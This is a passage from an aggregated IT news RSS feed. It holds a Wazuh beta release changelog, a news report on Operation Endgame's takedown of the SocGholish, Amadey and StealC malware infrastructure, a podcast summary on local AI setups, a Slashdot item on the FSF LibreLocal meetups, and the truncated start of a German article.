<li>Use github.workspace for wodles report paths by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nicogp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nicogp">@Nicogp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4787326775" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37342" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37342/hovercard" href="https://github.com/wazuh/wazuh/pull/37342">#37342</a></li>
<li>Skip FIM whodata cases on the tier-2 Linux job (CodeBuild) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nicogp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nicogp">@Nicogp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4771331061" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37291" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37291/hovercard" href="https://github.com/wazuh/wazuh/pull/37291">#37291</a></li>
<li>Migrate 4.x Windows test runners to AWS CodeBuild  by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nicogp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nicogp">@Nicogp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4746542396" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37193" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37193/hovercard" href="https://github.com/wazuh/wazuh/pull/37193">#37193</a></li>
<li>Lower log level of transient queue send failures in modulesd by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lchico/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lchico">@lchico</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4788115193" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37345" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37345/hovercard" href="https://github.com/wazuh/wazuh/pull/37345">#37345</a></li>
<li>Add changelog check workflow by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4787529876" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37343" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37343/hovercard" href="https://github.com/wazuh/wazuh/pull/37343">#37343</a></li>
<li>Add changelog check workflow for 5.0.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4788939423" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37351" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37351/hovercard" href="https://github.com/wazuh/wazuh/pull/37351">#37351</a></li>
<li>Retry <code>OS_SendUnix</code> on <code>ENOBUFS</code> to stop dropping binary sync messages on macOS by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nbertoldo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nbertoldo">@nbertoldo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4788850753" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37349" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37349/hovercard" href="https://github.com/wazuh/wazuh/pull/37349">#37349</a></li>
<li>change: Allow null root_decoder as alias of empty string on policy cr… by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/juliancnn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/juliancnn">@juliancnn</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4788261828" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37347" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37347/hovercard" href="https://github.com/wazuh/wazuh/pull/37347">#37347</a></li>
<li>Fix eBPF FIM whodata for Amazon Linux by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Miguevrgo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Miguevrgo">@Miguevrgo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4692775155" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37014" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37014/hovercard" href="https://github.com/wazuh/wazuh/pull/37014">#37014</a></li>
<li>Merge 4.14.6 into 4.14.7 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4792934428" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37358" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37358/hovercard" href="https://github.com/wazuh/wazuh/pull/37358">#37358</a></li>
<li>Bump 5.0.0 branch by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wazuhci/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wazuhci">@wazuhci</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4794415837" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37371" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37371/hovercard" href="https://github.com/wazuh/wazuh/pull/37371">#37371</a></li>
<li>Merge 4.14.7 into 5.0.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4793306985" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37360" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37360/hovercard" href="https://github.com/wazuh/wazuh/pull/37360">#37360</a></li>
<li>Migrate remaining CI artifacts to S3 for the 5.0.0 branch (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="454578666" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/3502" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/3502/hovercard" href="https://github.com/wazuh/wazuh/pull/3502">#3502</a>) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jr0me/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jr0me">@jr0me</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4788864035" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37350" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37350/hovercard" href="https://github.com/wazuh/wazuh/pull/37350">#37350</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MARCOSD4/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MARCOSD4">@MARCOSD4</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4539151411" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36518" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36518/hovercard" href="https://github.com/wazuh/wazuh/pull/36518">#36518</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Ripdiegozz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Ripdiegozz">@Ripdiegozz</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505228985" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36357" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36357/hovercard" href="https://github.com/wazuh/wazuh/pull/36357">#36357</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adman23/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adman23">@Adman23</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4580559348" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36750" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36750/hovercard" href="https://github.com/wazuh/wazuh/pull/36750">#36750</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jcorredor-spec/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jcorredor-spec">@jcorredor-spec</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4521476970" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36402" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36402/hovercard" href="https://github.com/wazuh/wazuh/pull/36402">#36402</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/wazuh/wazuh/compare/v5.0.0-beta2...v5.0.0-beta3"><tt>v5.0.0-beta2...v5.0.0-beta3</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why ScanPST Fails to Repair Corrupt PST Files — and the Best Alternatives ]]></title>
<description><![CDATA[Whether you like using it or not, Microsoft Outlook is the lifeblood of almost every corporation...
The post Why ScanPST Fails to Repair Corrupt PST Files — and the Best Alternatives  appeared first on Fossbytes.]]></description>
<link>https://tsecurity.de/de/3640443/it-nachrichten/why-scanpst-fails-to-repair-corrupt-pst-files-and-the-best-alternatives/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3640443/it-nachrichten/why-scanpst-fails-to-repair-corrupt-pst-files-and-the-best-alternatives/</guid>
<pubDate>Thu, 02 Jul 2026 09:47:58 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Whether you like using it or not, Microsoft Outlook is the lifeblood of almost every corporation...</p>
<p>The post <a rel="nofollow" href="https://fossbytes.com/why-scanpst-fails-to-repair-corrupt-pst-files-and-the-best-alternatives/">Why ScanPST Fails to Repair Corrupt PST Files — and the Best Alternatives </a> appeared first on <a rel="nofollow" href="https://fossbytes.com/">Fossbytes</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Operation Endgame Disrupts SocGholish, StealC Malware Networks]]></title>
<description><![CDATA[Operation Endgame has dealt another blow to cybercriminal operations after international law enforcement agencies and private sector partners dismantled infrastructure supporting the SocGholish, Amadey, and StealC malware families. The coordinated operation resulted in the seizure of more than EU...]]></description>
<link>https://tsecurity.de/de/3632249/it-security-nachrichten/operation-endgame-disrupts-socgholish-stealc-malware-networks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3632249/it-security-nachrichten/operation-endgame-disrupts-socgholish-stealc-malware-networks/</guid>
<pubDate>Mon, 29 Jun 2026 09:54:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1536" height="1024" src="https://thecyberexpress.com/wp-content/uploads/Operation-Endgame-Disrupts-SocGholish-1.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Operation Endgame Disrupts SocGholish" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/Operation-Endgame-Disrupts-SocGholish-1.webp 1536w, https://thecyberexpress.com/wp-content/uploads/Operation-Endgame-Disrupts-SocGholish-1-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/Operation-Endgame-Disrupts-SocGholish-1-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Operation-Endgame-Disrupts-SocGholish-1-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/Operation-Endgame-Disrupts-SocGholish-1-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/Operation-Endgame-Disrupts-SocGholish-1-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/Operation-Endgame-Disrupts-SocGholish-1-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/Operation-Endgame-Disrupts-SocGholish-1-1140x760.webp 1140w, https://thecyberexpress.com/wp-content/uploads/Operation-Endgame-Disrupts-SocGholish-1.webp 1536w, https://thecyberexpress.com/wp-content/uploads/Operation-Endgame-Disrupts-SocGholish-1-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/Operation-Endgame-Disrupts-SocGholish-1-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Operation-Endgame-Disrupts-SocGholish-1-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/Operation-Endgame-Disrupts-SocGholish-1-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/Operation-Endgame-Disrupts-SocGholish-1-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/Operation-Endgame-Disrupts-SocGholish-1-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/Operation-Endgame-Disrupts-SocGholish-1-1140x760.webp 1140w" sizes="(max-width: 1536px) 100vw, 1536px" title="Operation Endgame Disrupts SocGholish, StealC Malware Networks 1"></p><p class="isSelectedEnd"><a href="https://thecyberexpress.com/socgholish-malware-hit-in-operation-endgame/" target="_blank" rel="noopener">Operation Endgame</a> has dealt another blow to cybercriminal operations after <a href="https://thecyberexpress.com/first-vpn-service-seized/" target="_blank" rel="noopener">international law enforcement agencies</a> and private sector partners dismantled infrastructure supporting the SocGholish, Amadey, and StealC malware families. The coordinated operation resulted in the seizure of more than EUR 41 million in criminal <a href="https://thecyberexpress.com/cryptocurrency-mixing-service-bitcoin-seized/" target="_blank" rel="noopener">cryptocurrency</a> assets, the recovery of 27 million <a href="https://thecyberexpress.com/phishing-telegram-bots-steal-credentials/" target="_blank" rel="noopener">stolen login credentials</a>, and the disruption of hundreds of servers and domains used to distribute malware.</p>
<p class="isSelectedEnd">Led by <a href="https://thecyberexpress.com/leakbase-cybercrime-forum-taken-down/" target="_blank" rel="noopener">Europol</a> and Eurojust, the operation brought together authorities from Canada, Denmark, Germany, the Netherlands, the United Kingdom, the United States, Microsoft, and several cybersecurity organizations. Officials said the objective was to disrupt the infrastructure cybercriminals rely on to launch <a href="https://thecyberexpress.com/qilin-inc-ransom-drive-2026-ransomware-surge/" target="_blank" rel="noopener">ransomware attacks</a>, financial fraud, and attacks against critical infrastructure.</p>

<h3><strong>Operation Endgame Targets Cybercrime Infrastructure</strong></h3>
<p class="isSelectedEnd">During the coordinated action, authorities targeted the infrastructure supporting <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-malware/" target="_blank" rel="noopener" title="malware" data-wpil-keyword-link="linked" data-wpil-monitor-id="28868">malware</a> delivery rather than focusing on a single malware family.</p>
<p class="isSelectedEnd">Law enforcement and industry partners took action against 326 servers and 142 domains, significantly disrupting <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-malware/" title="malware" data-wpil-keyword-link="linked" data-wpil-monitor-id="28870">malware</a> distribution channels. Investigators also identified and restricted criminal cryptocurrency assets currently valued at more than EUR 41 million (USD 47 million) while recovering approximately 27 million stolen login credentials.</p>
<p class="isSelectedEnd"><a href="https://www.europol.europa.eu/media-press/newsroom/news/global-cyber-strike-disrupts-socgholish-amadey-and-stealc-malware-networks" target="_blank" rel="nofollow noopener">According to Europol</a>, the operation aimed to disrupt the "assembly line" used by cybercriminals to gain initial access to victim systems before deploying ransomware or stealing sensitive information.</p>


[caption id="attachment_112936" align="aligncenter" width="600"]<img class="wp-image-112936 size-full" src="https://thecyberexpress.com/wp-content/uploads/Operation-Endgame-Disrupts-SocGholish-e1782715515481.webp" alt="Operation Endgame " width="600" height="400"> Image Soure: Europol[/caption]

[caption id="attachment_112937" align="aligncenter" width="600"]<img class="wp-image-112937 size-full" src="https://thecyberexpress.com/wp-content/uploads/Operation-Endgame-Strikes-Malware-e1782715546803.webp" alt="Operation Endgame Strikes Malware" width="600" height="400"> Image Source: Europol[/caption]
<h3><strong>SocGholish, Amadey and StealC Malware Played Different Roles</strong></h3>
<p class="isSelectedEnd">The operation focused on three malware families that are commonly offered under the cybercrime-as-a-service model.</p>

<ul>
 	<li class="isSelectedEnd"><strong>SocGholish</strong> functioned as a malware loader that distributed fake browser updates through compromised WordPress websites. Users who installed these fake updates unknowingly infected their systems, allowing attackers to gain initial access and later deploy <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-ransomware/" target="_blank" rel="noopener" title="ransomware" data-wpil-keyword-link="linked" data-wpil-monitor-id="28869">ransomware</a> or other malicious tools.</li>
 	<li class="isSelectedEnd"><strong>StealC malware</strong> primarily targeted sensitive information stored on infected devices, including passwords, authentication <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="28863">data</a>, and digital identities. The stolen information was later used for <a class="wpil_keyword_link" href="https://cyble.com/cybercrime/fraud/" target="_blank" rel="noopener" title="fraud" data-wpil-keyword-link="linked" data-wpil-monitor-id="28867">fraud</a> or traded within cybercriminal marketplaces.</li>
 	<li class="isSelectedEnd"><strong>Amadey</strong> was mainly distributed through <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-phishing/" target="_blank" rel="noopener" title="phishing" data-wpil-keyword-link="linked" data-wpil-monitor-id="28865">phishing</a> campaigns. It provided attackers with initial access to compromised systems while also offering information-stealing capabilities that enabled the theft of sensitive user data.</li>
</ul>
<p class="isSelectedEnd"><a href="https://thecyberexpress.com/?s=Microsoft" target="_blank" rel="noopener">Microsoft</a> reported that during the first two weeks of May 2026 alone, Amadey and StealC malware were linked to more than 140,000 infected computers worldwide.</p>

<h3><strong>Thousands of Infected WordPress Sites Cleaned</strong></h3>
<p class="isSelectedEnd">One of the largest actions under Operation Endgame targeted SocGholish, also known as FakeUpdates.</p>
<p class="isSelectedEnd">Authorities remediated 14,971 infected WordPress websites, including websites belonging to restaurants, automotive repair businesses, and other organizations. Investigators also disabled the SocGholish <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-botnet/" target="_blank" rel="noopener" title="botnet" data-wpil-keyword-link="linked" data-wpil-monitor-id="28866">botnet</a> by taking control of domains and shutting down supporting servers.</p>
<p class="isSelectedEnd">Website owners whose credentials had been exposed were notified through platforms including Have I Been Pwned, DIVD, Spamhaus, CheckjeHack, NoMoreLeaks, Shadowserver, and NL-NCSC.</p>
<p class="isSelectedEnd">The Dutch Police urged <a href="https://thecyberexpress.com/wp-maps-pro-vulnerability/" target="_blank" rel="noopener">WordPress</a> administrators to change passwords, enable multi-factor authentication, remove unknown administrator accounts, and keep their websites updated to reduce future compromise risks.</p>

<h3><strong>SocGholish Linked to Evil Corp</strong></h3>
<p class="isSelectedEnd">Authorities said <strong>SocGholish</strong> has been linked to <a href="https://thecyberexpress.com/russian-state-linked-evil-corp-sanctioned/" target="_blank" rel="noopener">Evil Corp</a>, a Russian cybercriminal group previously associated with the Zeus and Dridex malware families, as well as multiple ransomware and money laundering operations.</p>
<p class="isSelectedEnd">Rather than targeting only malware operators, investigators focused on disrupting the broader infrastructure supporting cybercriminal activity. Europol said this strategy increases operational costs for threat actors and makes large-scale cyberattacks more difficult to execute.</p>

<h3><strong>Europol Coordinates Global Cyber Operation</strong></h3>
<p class="isSelectedEnd">Europol's European <a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="Cybercrime" data-wpil-keyword-link="linked" data-wpil-monitor-id="28864">Cybercrime</a> Centre (EC3) coordinated operational intelligence sharing through SIENA while providing analytical, technical, and cryptocurrency tracing support throughout the investigation.</p>
<p class="isSelectedEnd">The operation forms part of Operation Endgame, described by Europol as the largest international initiative to disrupt ransomware enablers worldwide.</p>
Officials said the latest disruption reflects a growing international strategy of targeting the infrastructure that enables cybercrime operations, rather than responding only after attacks have occurred.]]></content:encoded>
</item>
<item>
<title><![CDATA[HPR4671: Protocal AI]]></title>
<description><![CDATA[This show has been flagged as Explicit by the host.


In this episode, Operator dives into his ongoing journey to migrate away from centralized cloud ecosystems specifically moving his daily workflow off Google Keep and onto 
Obsidian
 hosted locally on a Debian server. Operating purely over a se...]]></description>
<link>https://tsecurity.de/de/3631691/podcasts/hpr4671-protocal-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3631691/podcasts/hpr4671-protocal-ai/</guid>
<pubDate>Mon, 29 Jun 2026 02:02:09 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Explicit by the host.</p>

<p>
In this episode, Operator dives into his ongoing journey to migrate away from centralized cloud ecosystems specifically moving his daily workflow off Google Keep and onto <strong>
<a href="https://obsidian.md/">Obsidian</a></strong>
 hosted locally on a Debian server. Operating purely over a secure VPN to minimize his external attack surface, he discusses the security considerations of managing personal data in local plain-text markdown files.</p>

<p>
The episode features a deep dive into local AI infrastructure, sparked by technologist <a href="https://danielmiessler.com/">Daniel Miessler’s</a> recent shift away from <strong>
<a href="https://en.wikipedia.org/wiki/Retrieval-augmented_generation">RAG (Retrieval-Augmented Generation)</a></strong>
 in favor of a simpler, localized file-system-as-context approach (using fast search tools like ripgrep). Operator shares his own mixed results experimenting with RAG noting great success with massive, structured car repair manuals, but incredibly poor fidelity when indexing conversational podcast transcripts.</p>

<p>
To find the sweet spot, Operator is testing a <strong>
dual approach</strong>
: combining flat-file local search with a PostgreSQL vector database (<code>
<a href="https://github.com/pgvector/pgvector">pgvector</a></code>
). He also rants about the frustrating "hype cycle" of online tutorials that claim to teach "local" setups but secretly rely on expensive, cloud-hosted frontier models.</p>

<p>
Finally, the host introduces his ambitious roadmap for <strong>
"Protocol AI."</strong>
 Designed as a localized, read-only dashboard to help manage his ADHD and "time blindness," this system will scrape, aggregate, and summarize his cluttered digital life including multiple Gmail accounts, Yahoo spam, calendars, and a massive array of social media feeds (Signal, Discord, Mastodon, BlueSky). The long-term goal? Transitioning from a read-only local summarizer to a safe, "human-in-the-loop" execution assistant that keeps his data out of the hands of mega-corporations.</p>

<h2>
References
</h2>
<blockquote>
Obsidian is a proprietary personal knowledge base and note-taking application that operates on Markdown files. The software is free for personal and commercial use; only the offered cloud services, optional commercial licenses, and early access versions are paid. It is available as desktop versions for macOS, Windows and Linux as well as for mobile operating systems such as iOS and Android, but not as a web application. 
</blockquote>
<p>

<a href="https://en.wikipedia.org/wiki/Obsidian_(software)">Obsidian - From Wikipedia, the free encyclopedia</a>
</p>


<blockquote>
Retrieval-augmented generation (RAG) is a technique that enables large language models (LLMs) to retrieve and incorporate new information from external data sources. With RAG, LLMs first refer to a specified set of documents, then respond to user queries. These documents supplement information from the LLM's pre-existing training data. This allows LLMs to use domain-specific and/or updated information that is not available in the training data. For example, this enables LLM-based chatbots to access internal company data or generate responses based on authoritative sources. 
</blockquote>

<p><a href="https://en.wikipedia.org/wiki/Retrieval-augmented_generation">RAG (Retrieval-Augmented Generation)</a></p><p><a href="https://hackerpublicradio.org/eps/hpr4671/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[FSF 'LibreLocal' Organized From Prison by Iranian Man Jailed for 'Cyber-Crimes' After Promoting Free Software]]></title>
<description><![CDATA[Thursday the Free Software Foundation blogged about this year's 47 'LibreLocal 2026' meetups, highlighting 10 that took place in Australia, Mexico, the United States, New Zealand, Cameroon, Switzerland, Spain, Argentina, China, and Iran. "Far from each other in many parts of the world, they came ...]]></description>
<link>https://tsecurity.de/de/3629885/it-security-nachrichten/fsf-librelocal-organized-from-prison-by-iranian-man-jailed-for-cyber-crimes-after-promoting-free-software/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3629885/it-security-nachrichten/fsf-librelocal-organized-from-prison-by-iranian-man-jailed-for-cyber-crimes-after-promoting-free-software/</guid>
<pubDate>Sat, 27 Jun 2026 18:52:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Thursday the Free Software Foundation blogged about this year's 47 'LibreLocal 2026' meetups, highlighting 10 that took place in Australia, Mexico, the United States, New Zealand, Cameroon, Switzerland, Spain, Argentina, China, and Iran. "Far from each other in many parts of the world, they came together around one unifying belief: free software."

We envisioned LibreLocal as a collage of in-person community meetups that would bring people together to swap ideas, learn from each other, and celebrate free software. When we asked the free software community to organize LibreLocals last year, the response was very inspirational: 29 different meetups were hosted. After we made the global call this year, we were greeted with an even more enthusiastic response... Organizers hosted LibreLocals in cafes, bars, restaurants, libraries, universities, a computer repair shop, and even as part of a field trip to the System Source Museum, a museum dedicated to the history of computing in Hunt Valley, Maryland, USA. 

We also learned that a LibreLocal was organized inside Vakil Abad Prison in Mashhad, Iran by a free software supporter. Originally planned to be held in Shiraz, we were informed of this change in location on the LibreLocal wiki page set up for listing all LibreLocals. The updated entry, by another free software supporter in Iran, reads: 
"This year, one of our dedicated activists organized a LibrePlanet event from within prison in Iran. Currently serving a sentence for "cyber-crimes" related to his promotion of free software, he continues to introduce the principles of software freedom to his fellow inmates. We have placed this banner to honor his resilience and the community of individuals in prison who continue to stand for technological freedom. His identity will be revealed when it is safe to do so." 
Advocating for user freedom should never result in a prison sentence. We especially admire and respect the bravery and strength of those who fight for software freedom in the most dangerous and oppressive of environments. 
50 people attended the LibreLocal meetup in Switzerland, according to one of the organizers, "forging connections between several local free software stakeholders and strengthening their cohesion." But the FSF's blog post stresses these are "ten stories among many more of free software supporters from across the globe... We also thank you our donors and associate members for the support that makes such meetups possible." 

The GNU Press Shop is now open through July 19 for their biannual fundraiser, offering a variety of freedom-respecting novelties including an FSF-branded antisurveillance webcam guard and both technical and philosophical books, like Richard Stallman's Free as in Freedom (which allegedly has turned up in Anthropic's training data). Other items include a slick new FSF logo sticker, a brass and zinc GNU "emblem" pin with real gold plating, and a cheeky sticker reminding everyone that "There is no cloud." And there's even a plush GNU toy.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=FSF+'LibreLocal'+Organized+From+Prison+by+Iranian+Man+Jailed+for+'Cyber-Crimes'+After+Promoting+Free+Software%3A+https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F06%2F27%2F0538246%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F06%2F27%2F0538246%2Ffsf-librelocal-organized-from-prison-by-iranian-man-jailed-for-cyber-crimes-after-promoting-free-software%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://news.slashdot.org/story/26/06/27/0538246/fsf-librelocal-organized-from-prison-by-iranian-man-jailed-for-cyber-crimes-after-promoting-free-software?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Alltime-Fails: Die 7 schlechtesten IT-Produkte]]></title>
<description><![CDATA[Man mag es kaum glauben – diese IT-Produkte gab es wirklich.
					Foto: Svyatoslav Balan – shutterstock.com




Die folgende – höchst subjektive – Auswahl präsentiert Ihnen sieben der abgründigsten Auswürfe, die die Technologiewelt bislang hervorgebracht hat. Warum diese IT-Produkte verschmäht, g...]]></description>
<link>https://tsecurity.de/de/3628901/it-security-nachrichten/alltime-fails-die-7-schlechtesten-it-produkte/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3628901/it-security-nachrichten/alltime-fails-die-7-schlechtesten-it-produkte/</guid>
<pubDate>Sat, 27 Jun 2026 05:08:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" alt="Man mag es kaum glauben - diese IT-Produkte gab es wirklich." title="Man mag es kaum glauben - diese IT-Produkte gab es wirklich." src="https://images.computerwoche.de/bdb/3380102/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Man mag es kaum glauben – diese IT-Produkte gab es wirklich.</p></figcaption></figure><p class="imageCredit">
					Foto: Svyatoslav Balan – shutterstock.com</p></div>




